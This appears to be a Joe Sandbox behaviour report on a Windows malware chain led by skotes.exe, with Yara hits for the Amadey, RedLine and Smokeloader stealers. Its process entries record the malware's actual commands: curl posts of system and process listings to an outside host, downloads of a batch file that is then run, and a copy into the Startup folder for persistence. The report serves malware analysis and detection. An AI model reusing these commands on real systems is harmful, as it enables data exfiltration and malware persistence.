Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x710000
File size:	3'189'760 bytes
MD5 hash:	6CED085779B2D439CAB6D085699B195A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:26:00
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x710000
File size:	3'189'760 bytes
MD5 hash:	6CED085779B2D439CAB6D085699B195A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	08:26:11
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"
Imagebase:	0xa20000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:26:11
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:26:16
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"
Imagebase:	0xa20000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:26:18
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe"
Imagebase:	0x1c0000
File size:	920'064 bytes
MD5 hash:	5950611ED70F90B758610609E2AEE8E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:26:18
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:26:18
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:26:18
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\systeminfo.exe
Wow64 process (32bit):	true
Commandline:	systeminfo
Imagebase:	0x930000
File size:	76'800 bytes
MD5 hash:	36CCB1FFAFD651F64A22B5DA0A1EA5C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:26:19
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x860000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:26:20
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
Imagebase:	0x810000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:26:20
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:26:23
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
Imagebase:	0x810000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:26:23
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:26:26
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:26:26
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:26:26
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
Imagebase:	0x810000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:26:26
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:26:29
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c "C:\Users\user\AppData\Local\Temp\tmp.bat" > C:\Users\user\AppData\Local\Temp\tmp.txt
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:26:29
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:26:29
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
Imagebase:	0x810000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:26:29
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:26:30
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe"
Imagebase:	0x400000
File size:	3'917'896 bytes
MD5 hash:	12C766CAB30C7A0EF110F0199BEDA18B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 21%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	08:26:39
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
Imagebase:	0xea0000
File size:	920'064 bytes
MD5 hash:	5950611ED70F90B758610609E2AEE8E6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 13%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	08:26:39
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	08:26:39
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	08:26:39
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe"
Imagebase:	0x400000
File size:	1'967'616 bytes
MD5 hash:	C270B2BD3DD5CBC4ECA9A2337870D80F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	08:26:40
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\systeminfo.exe
Wow64 process (32bit):	true
Commandline:	systeminfo
Imagebase:	0x930000
File size:	76'800 bytes
MD5 hash:	36CCB1FFAFD651F64A22B5DA0A1EA5C5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:26:41
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x860000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	08:26:43
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"
Imagebase:	0xaa0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:26:44
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:26:51
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe"
Imagebase:	0x400000
File size:	393'728 bytes
MD5 hash:	DFD5F78A711FA92337010ECC028470B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000026.00000002.3076985915.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	08:26:56
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe"
Imagebase:	0xaa0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000003.3038897770.000000000147D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000002.3073164628.000000000147C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000003.3014234017.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000003.3014504242.000000000147D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000003.3014374262.000000000147C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	08:27:02
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe"
Imagebase:	0x1f0000
File size:	2'660'864 bytes
MD5 hash:	2A78CE9F3872F5E591D643459CABE476
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	08:27:03
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
Imagebase:	0x810000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:27:03
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:27:11
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe"
Imagebase:	0x90000
File size:	965'632 bytes
MD5 hash:	4853BE4F2BB74B706EFFCC60FC06446B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	08:27:16
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	08:27:16
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	08:27:16
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -Lo "C:\Users\user\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
Imagebase:	0x810000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	08:27:16
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	748
Total number of Limit Nodes:	13

Executed Functions

Function 006B652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,006B652A,?,?,?,?,?,006B7661), ref: 006B6567

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d7908620626eff5a4177bcc5b8f818b3729816386e0964c7456a58ea01113b00
